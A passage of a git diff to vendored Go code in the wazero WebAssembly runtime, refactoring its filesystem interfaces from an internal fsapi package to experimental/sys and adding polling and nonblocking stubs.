@@ -239,7 +239,7 @@ func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno
}
// cachedDirents returns up to `n` dirents from the cache.
-func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent {
+func (d *DirentCache) cachedDirents(n uint32) []sys.Dirent {
direntCount := uint32(len(d.dirents))
switch {
case direntCount == 0:
@@ -252,7 +252,7 @@ func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent {
type FSContext struct {
// rootFS is the root ("/") mount.
- rootFS fsapi.FS
+ rootFS sys.FS
// openedFiles is a map of file descriptor numbers (>=FdPreopen) to open files
// (or directories) and defaults to empty.
@@ -269,9 +269,9 @@ type FileTable = descriptor.Table[int32, *FileEntry]
//
// TODO: This is only used by GOOS=js and tests: Remove when we remove GOOS=js
// (after Go 1.22 is released).
-func (c *FSContext) RootFS() fsapi.FS {
+func (c *FSContext) RootFS() sys.FS {
if rootFS := c.rootFS; rootFS == nil {
- return fsapi.UnimplementedFS{}
+ return sys.UnimplementedFS{}
} else {
return rootFS
}
@@ -284,11 +284,11 @@ func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) {
// OpenFile opens the file into the table and returns its file descriptor.
// The result must be closed by CloseFile or Close.
-func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (int32, sys.Errno) {
+func (c *FSContext) OpenFile(fs sys.FS, path string, flag sys.Oflag, perm fs.FileMode) (int32, sys.Errno) {
if f, errno := fs.OpenFile(path, flag, perm); errno != 0 {
return 0, errno
} else {
- fe := &FileEntry{FS: fs, File: f}
+ fe := &FileEntry{FS: fs, File: fsapi.Adapt(f)}
if path == "/" || path == "." {
fe.Name = ""
} else {
@@ -330,8 +330,8 @@ func (c *FSContext) Renumber(from, to int32) sys.Errno {
return 0
}
-// SockAccept accepts a socketapi.TCPConn into the file table and returns
-// its file descriptor.
+// SockAccept accepts a sock.TCPConn into the file table and returns its file
+// descriptor.
func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) {
var sock socketapi.TCPSock
if e, ok := c.LookupFile(sockFD); !ok || !e.IsPreopen {
@@ -340,18 +340,20 @@ func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) {
return 0, sys.EBADF // Not a sock
}
- var conn socketapi.TCPConn
- var errno sys.Errno
- if conn, errno = sock.Accept(); errno != 0 {
+ conn, errno := sock.Accept()
+ if errno != 0 {
return 0, errno
- } else if nonblock {
- if errno = conn.SetNonblock(true); errno != 0 {
+ }
+
+ fe := &FileEntry{File: fsapi.Adapt(conn)}
+
+ if nonblock {
+ if errno = fe.File.SetNonblock(true); errno != 0 {
_ = conn.Close()
return 0, errno
}
}
- fe := &FileEntry{File: conn}
if newFD, ok := c.openedFiles.Insert(fe); !ok {
return 0, sys.EBADF
} else {
@@ -391,7 +393,7 @@ func (c *FSContext) Close() (err error) {
func (c *Context) InitFSContext(
stdin io.Reader,
stdout, stderr io.Writer,
- fs []fsapi.FS, guestPaths []string,
+ fs []sys.FS, guestPaths []string,
tcpListeners []*net.TCPListener,
) (err error) {
inFile, err := stdinFileEntry(stdin)
@@ -427,7 +429,7 @@ func (c *Context) InitFSContext(
}
for _, tl := range tcpListeners {
- c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: sysfs.NewTCPListenerFile(tl)})
+ c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: fsapi.Adapt(sysfs.NewTCPListenerFile(tl))})
}
return nil
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go
index 011a5a4dc5..fe233d29ea 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go
@@ -1,126 +1,124 @@
package sys
import (
- "syscall"
-
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/sys"
)
-// compile-time check to ensure lazyDir implements fsapi.File.
-var _ fsapi.File = (*lazyDir)(nil)
+// compile-time check to ensure lazyDir implements sys.File.
+var _ experimentalsys.File = (*lazyDir)(nil)
type lazyDir struct {
- fsapi.DirFile
+ experimentalsys.DirFile
- fs fsapi.FS
- f fsapi.File
+ fs experimentalsys.FS
+ f experimentalsys.File
}
-// Dev implements the same method as documented on fsapi.File
-func (r *lazyDir) Dev() (uint64, experimentalsys.Errno) {
- if f, ok := r.file(); !ok {
+// Dev implements the same method as documented on sys.File
+func (d *lazyDir) Dev() (uint64, experimentalsys.Errno) {
+ if f, ok := d.file(); !ok {
return 0, experimentalsys.EBADF
} else {
return f.Dev()
}
}
-// Ino implements the same method as documented on fsapi.File
-func (r *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) {
- if f, ok := r.file(); !ok {
+// Ino implements the same method as documented on sys.File
+func (d *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) {
+ if f, ok := d.file(); !ok {
return 0, experimentalsys.EBADF
} else {
return f.Ino()
}
}
-// IsDir implements the same method as documented on fsapi.File
-func (r *lazyDir) IsDir() (bool, experimentalsys.Errno) {
+// IsDir implements the same method as documented on sys.File
+func (d *lazyDir) IsDir() (bool, experimentalsys.Errno) {
// Note: we don't return a constant because we don't know if this is really
// backed by a dir, until the first call.
- if f, ok := r.file(); !ok {
+ if f, ok := d.file(); !ok {
return false, experimentalsys.EBADF
} else {
return f.IsDir()
}
}
-// IsAppend implements the same method as documented on fsapi.File
-func (r *lazyDir) IsAppend() bool {
+// IsAppend implements the same method as documented on sys.File
+func (d *lazyDir) IsAppend() bool {
return false
}
-// SetAppend implements the same method as documented on fsapi.File
-func (r *lazyDir) SetAppend(bool) experimentalsys.Errno {
+// SetAppend implements the same method as documented on sys.File
+func (d *lazyDir) SetAppend(bool) experimentalsys.Errno {
return experimentalsys.EISDIR
}
-// Seek implements the same method as documented on fsapi.File
-func (r *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) {
- if f, ok := r.file(); !ok {
+// Seek implements the same method as documented on sys.File
+func (d *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) {
+ if f, ok := d.file(); !ok {
return 0, experimentalsys.EBADF
} else {
return f.Seek(offset, whence)
}
}
-// Stat implements the same method as documented on fsapi.File
-func (r *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) {
- if f, ok := r.file(); !ok {
+// Stat implements the same method as documented on sys.File
+func (d *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) {
+ if f, ok := d.file(); !ok {
return sys.Stat_t{}, experimentalsys.EBADF
} else {
return f.Stat()
}
}
-// Readdir implements the same method as documented on fsapi.File
-func (r *lazyDir) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
- if f, ok := r.file(); !ok {
+// Readdir implements the same method as documented on sys.File
+func (d *lazyDir) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) {
+ if f, ok := d.file(); !ok {
return nil, experimentalsys.EBADF
} else {
return f.Readdir(n)
}
}
-// Sync implements the same method as documented on fsapi.File
-func (r *lazyDir) Sync() experimentalsys.Errno {
- if f, ok := r.file(); !ok {
+// Sync implements the same method as documented on sys.File
+func (d *lazyDir) Sync() experimentalsys.Errno {
+ if f, ok := d.file(); !ok {
return experimentalsys.EBADF
} else {
return f.Sync()
}
}
-// Datasync implements the same method as documented on fsapi.File
-func (r *lazyDir) Datasync() experimentalsys.Errno {
- if f, ok := r.file(); !ok {
+// Datasync implements the same method as documented on sys.File
+func (d *lazyDir) Datasync() experimentalsys.Errno {
+ if f, ok := d.file(); !ok {
return experimentalsys.EBADF
} else {
return f.Datasync()
}
}
-// Utimens implements the same method as documented on fsapi.File
-func (r *lazyDir) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno {
- if f, ok := r.file(); !ok {
+// Utimens implements the same method as documented on sys.File
+func (d *lazyDir) Utimens(atim, mtim int64) experimentalsys.Errno {
+ if f, ok := d.file(); !ok {
return experimentalsys.EBADF
} else {
- return f.Utimens(times)
+ return f.Utimens(atim, mtim)
}
}
// file returns the underlying file or false if it doesn't exist.
-func (r *lazyDir) file() (fsapi.File, bool) {
- if f := r.f; r.f != nil {
+func (d *lazyDir) file() (experimentalsys.File, bool) {
+ if f := d.f; d.f != nil {
return f, true
}
var errno experimentalsys.Errno
- r.f, errno = r.fs.OpenFile(".", fsapi.O_RDONLY, 0)
+ d.f, errno = d.fs.OpenFile(".", experimentalsys.O_RDONLY, 0)
switch errno {
case 0:
- return r.f, true
+ return d.f, true
case experimentalsys.ENOENT:
return nil, false
default:
@@ -129,10 +127,25 @@ func (r *lazyDir) file() (fsapi.File, bool) {
}
// Close implements fs.File
-func (r *lazyDir) Close() experimentalsys.Errno {
- f := r.f
+func (d *lazyDir) Close() experimentalsys.Errno {
+ f := d.f
if f == nil {
return 0 // never opened
}
return f.Close()
}
+
+// IsNonblock implements the same method as documented on fsapi.File
+func (d *lazyDir) IsNonblock() bool {
+ return false
+}
+
+// SetNonblock implements the same method as documented on fsapi.File
+func (d *lazyDir) SetNonblock(bool) experimentalsys.Errno {
+ return experimentalsys.EISDIR
+}
+
+// Poll implements the same method as documented on fsapi.File
+func (d *lazyDir) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) {
+ return false, experimentalsys.ENOSYS
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go
index b153e32c19..32c33661eb 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go
@@ -3,7 +3,6 @@ package sys
import (
"io"
"os"
- "time"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
@@ -19,7 +18,7 @@ type StdinFile struct {
io.Reader
}
-// Read implements the same method as documented on fsapi.File
+// Read implements the same method as documented on sys.File
func (f *StdinFile) Read(buf []byte) (int, experimentalsys.Errno) {
n, err := f.Reader.Read(buf)
return n, experimentalsys.UnwrapOSError(err)
@@ -31,7 +30,7 @@ type writerFile struct {
w io.Writer
}
-// Write implements the same method as documented on fsapi.File
+// Write implements the same method as documented on sys.File
func (f *writerFile) Write(buf []byte) (int, experimentalsys.Errno) {
n, err := f.w.Write(buf)
return n, experimentalsys.UnwrapOSError(err)
@@ -44,13 +43,16 @@ type noopStdinFile struct {
noopStdioFile
}
-// Read implements the same method as documented on fsapi.File
+// Read implements the same method as documented on sys.File
func (noopStdinFile) Read([]byte) (int, experimentalsys.Errno) {
return 0, 0 // Always EOF
}
-// PollRead implements the same method as documented on fsapi.File
-func (noopStdinFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
+// Poll implements the same method as documented on fsapi.File
+func (noopStdinFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) {
+ if flag != fsapi.POLLIN {
+ return false, experimentalsys.ENOTSUP
+ }
return true, 0 // always ready to read nothing
}
@@ -60,28 +62,43 @@ type noopStdoutFile struct {
noopStdioFile
}
-// Write implements the same method as documented on fsapi.File
+// Write implements the same method as documented on sys.File
func (noopStdoutFile) Write(buf []byte) (int, experimentalsys.Errno) {
return len(buf), 0 // same as io.Discard
}
type noopStdioFile struct {
- fsapi.UnimplementedFile
+ experimentalsys.UnimplementedFile
}
-// Stat implements the same method as documented on fsapi.File
+// Stat implements the same method as documented on sys.File
func (noopStdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
return sys.Stat_t{Mode: modeDevice, Nlink: 1}, 0
}
-// IsDir implements the same method as documented on fsapi.File
+// IsDir implements the same method as documented on sys.File
func (noopStdioFile) IsDir() (bool, experimentalsys.Errno) {
return false, 0
}
-// Close implements the same method as documented on fsapi.File
+// Close implements the same method as documented on sys.File
func (noopStdioFile) Close() (errno experimentalsys.Errno) { return }
+// IsNonblock implements the same method as documented on fsapi.File
+func (noopStdioFile) IsNonblock() bool {
+ return false
+}
+
+// SetNonblock implements the same method as documented on fsapi.File
+func (noopStdioFile) SetNonblock(bool) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
+}
+
+// Poll implements the same method as documented on fsapi.File
+func (noopStdioFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) {
+ return false, experimentalsys.ENOSYS
+}
+
func stdinFileEntry(r io.Reader) (*FileEntry, error) {
if r == nil {
return &FileEntry{Name: "stdin", IsPreopen: true, File: &noopStdinFile{}}, nil
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go
index aedd7c7035..12279ee495 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go
@@ -7,7 +7,7 @@ import (
"net"
"time"
- "github.com/tetratelabs/wazero/internal/fsapi"
+ experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/platform"
"github.com/tetratelabs/wazero/sys"
)
@@ -110,11 +110,11 @@ func (c *Context) RandSource() io.Reader {
}
// DefaultContext returns Context with no values set except a possible nil
-// fsapi.FS.
+// sys.FS.
//
// Note: This is only used for testing.
-func DefaultContext(fs fsapi.FS) *Context {
- if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []fsapi.FS{fs}, []string{""}, nil); err != nil {
+func DefaultContext(fs experimentalsys.FS) *Context {
+ if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []experimentalsys.FS{fs}, []string{""}, nil); err != nil {
panic(fmt.Errorf("BUG: DefaultContext should never error: %w", err))
} else {
return sysCtx
@@ -135,7 +135,7 @@ func NewContext(
nanotimeResolution sys.ClockResolution,
nanosleep sys.Nanosleep,
osyield sys.Osyield,
- fs []fsapi.FS, guestPaths []string,
+ fs []experimentalsys.FS, guestPaths []string,
tcpListeners []*net.TCPListener,
) (sysCtx *Context, err error) {
sysCtx = &Context{args: args, environ: environ}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go
index 75d70888c8..51a9a54804 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go
@@ -6,45 +6,39 @@ import (
"path"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/sys"
)
-// Adapt adapts the input to fsapi.FS unless it is already one. Use NewDirFS instead
-// of os.DirFS as it handles interop issues such as windows support.
-//
-// Note: This performs no flag verification on OpenFile. fsapi.FS cannot read
-// flags as there is no parameter to pass them through with. Moreover, fsapi.FS
-// documentation does not require the file to be present. In summary, we can't
-// enforce flag behavior.
-func Adapt(fs fs.FS) fsapi.FS {
- if fs == nil {
- return fsapi.UnimplementedFS{}
- }
- if sys, ok := fs.(fsapi.FS); ok {
- return sys
- }
- return &adapter{fs: fs}
+type AdaptFS struct {
+ FS fs.FS
}
-type adapter struct {
- fsapi.UnimplementedFS
- fs fs.FS
+// String implements fmt.Stringer
+func (a *AdaptFS) String() string {
+ return fmt.Sprintf("%v", a.FS)
}
-// String implements fmt.Stringer
-func (a *adapter) String() string {
- return fmt.Sprintf("%v", a.fs)
+// OpenFile implements the same method as documented on sys.FS
+func (a *AdaptFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) {
+ return OpenFSFile(a.FS, cleanPath(path), flag, perm)
}
-// OpenFile implements the same method as documented on fsapi.FS
-func (a *adapter) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
- return OpenFSFile(a.fs, cleanPath(path), flag, perm)
+// Lstat implements the same method as documented on sys.FS
+func (a *AdaptFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
+ // At this time, we make the assumption sys.FS instances do not support
+ // symbolic links, therefore Lstat is the same as Stat. This is obviously
+ // not true, but until FS.FS has a solid story for how to handle symlinks,
+ // we are better off not making a decision that would be difficult to
+ // revert later on.
+ //
+ // For further discussions on the topic, see:
+ // https://github.com/golang/go/issues/49580
+ return a.Stat(path)
}
-// Stat implements the same method as documented on fsapi.FS
-func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
- f, errno := a.OpenFile(path, fsapi.O_RDONLY, 0)
+// Stat implements the same method as documented on sys.FS
+func (a *AdaptFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
+ f, errno := a.OpenFile(path, experimentalsys.O_RDONLY, 0)
if errno != 0 {
return sys.Stat_t{}, errno
}
@@ -52,17 +46,49 @@ func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
return f.Stat()
}
-// Lstat implements the same method as documented on fsapi.FS
-func (a *adapter) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
- // At this time, we make the assumption that fsapi.FS instances do not support
- // symbolic links, therefore Lstat is the same as Stat. This is obviously
- // not true but until fsapi.FS has a solid story for how to handle symlinks we
- // are better off not making a decision that would be difficult to revert
- // later on.
- //
- // For further discussions on the topic, see:
- // https://github.com/golang/go/issues/49580
- return a.Stat(path)
+// Readlink implements the same method as documented on sys.FS
+func (a *AdaptFS) Readlink(string) (string, experimentalsys.Errno) {
+ return "", experimentalsys.ENOSYS
+}
+
+// Mkdir implements the same method as documented on sys.FS
+func (a *AdaptFS) Mkdir(string, fs.FileMode) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
+}
+
+// Chmod implements the same method as documented on sys.FS
+func (a *AdaptFS) Chmod(string, fs.FileMode) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
+}
+
+// Rename implements the same method as documented on sys.FS
+func (a *AdaptFS) Rename(string, string) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
+}
+
+// Rmdir implements the same method as documented on sys.FS
+func (a *AdaptFS) Rmdir(string) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
+}
+
+// Link implements the same method as documented on sys.FS
+func (a *AdaptFS) Link(string, string) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
+}
+
+// Symlink implements the same method as documented on sys.FS
+func (a *AdaptFS) Symlink(string, string) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
+}
+
+// Unlink implements the same method as documented on sys.FS
+func (a *AdaptFS) Unlink(string) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
+}
+
+// Utimens implements the same method as documented on sys.FS
+func (a *AdaptFS) Utimens(string, int64, int64) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
}
func cleanPath(name string) string {
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go
index 5a217394b3..f9823287cf 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go
@@ -4,15 +4,14 @@ import (
"io"
"github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/fsapi"
)
-func adjustReaddirErr(f fsapi.File, isClosed bool, err error) sys.Errno {
+func adjustReaddirErr(f sys.File, isClosed bool, err error) sys.Errno {
if err == io.EOF {
return 0 // e.g. Readdir on darwin returns io.EOF, but linux doesn't.
} else if errno := sys.UnwrapOSError(err); errno != 0 {
errno = dirError(f, isClosed, errno)
- // Comply with errors allowed on fsapi.File Readdir
+ // Comply with errors allowed on sys.File Readdir
switch errno {
case sys.EINVAL: // os.File Readdir can return this
return sys.EBADF
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go
index c908d6c550..05d5b647ea 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go
@@ -3,15 +3,13 @@ package sysfs
import (
"io/fs"
"os"
- "syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/platform"
"github.com/tetratelabs/wazero/sys"
)
-func NewDirFS(dir string) fsapi.FS {
+func DirFS(dir string) experimentalsys.FS {
return &dirFS{
dir: dir,
cleanedDir: ensureTrailingPathSeparator(dir),
@@ -25,8 +23,11 @@ func ensureTrailingPathSeparator(dir string) string {
return dir
}
+// dirFS is not exported because the input fields must be maintained together.
+// This is likely why os.DirFS doesn't, either!
type dirFS struct {
- fsapi.UnimplementedFS
+ experimentalsys.UnimplementedFS
+
dir string
// cleanedDir is for easier OS-specific concatenation, as it always has
// a trailing path separator.
@@ -38,22 +39,22 @@ func (d *dirFS) String() string {
return d.dir
}
-// OpenFile implements the same method as documented on fsapi.FS
-func (d *dirFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
+// OpenFile implements the same method as documented on sys.FS
+func (d *dirFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) {
return OpenOSFile(d.join(path), flag, perm)
}
-// Lstat implements the same method as documented on fsapi.FS
+// Lstat implements the same method as documented on sys.FS
func (d *dirFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
return lstat(d.join(path))
}
-// Stat implements the same method as documented on fsapi.FS
+// Stat implements the same method as documented on sys.FS
func (d *dirFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
return stat(d.join(path))
}
-// Mkdir implements the same method as documented on fsapi.FS
+// Mkdir implements the same method as documented on sys.FS
func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errno) {
err := os.Mkdir(d.join(path), perm)
if errno = experimentalsys.UnwrapOSError(err); errno == experimentalsys.ENOTDIR {
@@ -62,19 +63,19 @@ func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errn
return
}
-// Chmod implements the same method as documented on fsapi.FS
+// Chmod implements the same method as documented on sys.FS
func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno {
err := os.Chmod(d.join(path), perm)
return experimentalsys.UnwrapOSError(err)
}
-// Rename implements the same method as documented on fsapi.FS
+// Rename implements the same method as documented on sys.FS
func (d *dirFS) Rename(from, to string) experimentalsys.Errno {
from, to = d.join(from), d.join(to)
return rename(from, to)
}
-// Readlink implements the same method as documented on fsapi.FS
+// Readlink implements the same method as documented on sys.FS
func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) {
// Note: do not use syscall.Readlink as that causes race on Windows.
// In any case, syscall.Readlink does almost the same logic as os.Readlink.
@@ -85,28 +86,23 @@ func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) {
return platform.ToPosixPath(dst), 0
}
-// Link implements the same method as documented on fsapi.FS
+// Link implements the same method as documented on sys.FS
func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno {
err := os.Link(d.join(oldName), d.join(newName))
return experimentalsys.UnwrapOSError(err)
}
-// Rmdir implements the same method as documented on fsapi.FS
+// Rmdir implements the same method as documented on sys.FS
func (d *dirFS) Rmdir(path string) experimentalsys.Errno {
return rmdir(d.join(path))
}
-func rmdir(path string) experimentalsys.Errno {
- err := syscall.Rmdir(path)
- return experimentalsys.UnwrapOSError(err)
-}
-
-// Unlink implements the same method as documented on fsapi.FS
+// Unlink implements the same method as documented on sys.FS
func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) {
return unlink(d.join(path))
}
-// Symlink implements the same method as documented on fsapi.FS
+// Symlink implements the same method as documented on sys.FS
func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno {
// Note: do not resolve `oldName` relative to this dirFS. The link result is always resolved
// when dereference the `link` on its usage (e.g. readlink, read, etc).
@@ -115,9 +111,9 @@ func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno {
return experimentalsys.UnwrapOSError(err)
}
-// Utimens implements the same method as documented on fsapi.FS
-func (d *dirFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno {
- return Utimens(d.join(path), times)
+// Utimens implements the same method as documented on sys.FS
+func (d *dirFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno {
+ return utimens(d.join(path), atim, mtim)
}
func (d *dirFS) join(path string) string {
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go
index b3285cab65..9a77205bb5 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go
@@ -4,6 +4,7 @@ import (
"io"
"io/fs"
"os"
+ "time"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
@@ -20,11 +21,11 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) {
} else {
mode = st.Mode()
}
- var flag fsapi.Oflag
+ var flag experimentalsys.Oflag
if stdin {
- flag = fsapi.O_RDONLY
+ flag = experimentalsys.O_RDONLY
} else {
- flag = fsapi.O_WRONLY
+ flag = experimentalsys.O_WRONLY
}
var file fsapi.File
if of, ok := f.(*os.File); ok {
@@ -36,14 +37,14 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) {
return &stdioFile{File: file, st: sys.Stat_t{Mode: mode, Nlink: 1}}, nil
}
-func OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) {
- if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 {
+func OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) {
+ if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 {
return nil, experimentalsys.EISDIR // invalid to open a directory writeable
}
return openFile(path, flag, perm)
}
-func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
+func OpenOSFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) {
f, errno := OpenFile(path, flag, perm)
if errno != 0 {
return nil, errno
@@ -51,8 +52,8 @@ func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, ex
return newOsFile(path, flag, perm, f), 0
}
-func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
- if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 {
+func OpenFSFile(fs fs.FS, path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) {
+ if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 {
return nil, experimentalsys.EISDIR // invalid to open a directory writeable
}
f, err := fs.Open(path)
@@ -60,7 +61,7 @@ func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsap
return nil, errno
}
// Don't return an os.File because the path is not absolute. osFile needs
- // the path to be real and certain fs.File impls are subrooted.
+ // the path to be real and certain FS.File impls are subrooted.
return &fsFile{fs: fs, name: path, file: f}, 0
}
@@ -94,7 +95,7 @@ func (f *stdioFile) Close() experimentalsys.Errno {
// implementation. Notably, this does not have access to the full file path.
// so certain operations can't be supported, such as inode lookups on Windows.
type fsFile struct {
- fsapi.UnimplementedFile
+ experimentalsys.UnimplementedFile
// fs is the file-system that opened the file, or nil when wrapped for
// pre-opens like stdio.
@@ -120,17 +121,17 @@ type fsFile struct {
}
type cachedStat struct {
- // dev is the same as fsapi.Stat_t Dev.
+ // dev is the same as sys.Stat_t Dev.
dev uint64
- // dev is the same as fsapi.Stat_t Ino.
+ // dev is the same as sys.Stat_t Ino.
ino sys.Inode
- // isDir is fsapi.Stat_t Mode masked with fs.ModeDir
+ // isDir is sys.Stat_t Mode masked with fs.ModeDir
isDir bool
}
-// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they
+// cachedStat returns the cacheable parts of sys.Stat_t or an error if they
// couldn't be retrieved.
func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) {
if f.cachedSt == nil {
@@ -141,35 +142,35 @@ func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno expe
return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0
}
-// Dev implements the same method as documented on fsapi.File
+// Dev implements the same method as documented on sys.File
func (f *fsFile) Dev() (uint64, experimentalsys.Errno) {
dev, _, _, errno := f.cachedStat()
return dev, errno
}
-// Ino implements the same method as documented on fsapi.File
+// Ino implements the same method as documented on sys.File
func (f *fsFile) Ino() (sys.Inode, experimentalsys.Errno) {
_, ino, _, errno := f.cachedStat()
return ino, errno
}
-// IsDir implements the same method as documented on fsapi.File
+// IsDir implements the same method as documented on sys.File
func (f *fsFile) IsDir() (bool, experimentalsys.Errno) {
_, _, isDir, errno := f.cachedStat()
return isDir, errno
}
-// IsAppend implements the same method as documented on fsapi.File
+// IsAppend implements the same method as documented on sys.File
func (f *fsFile) IsAppend() bool {
return false
}
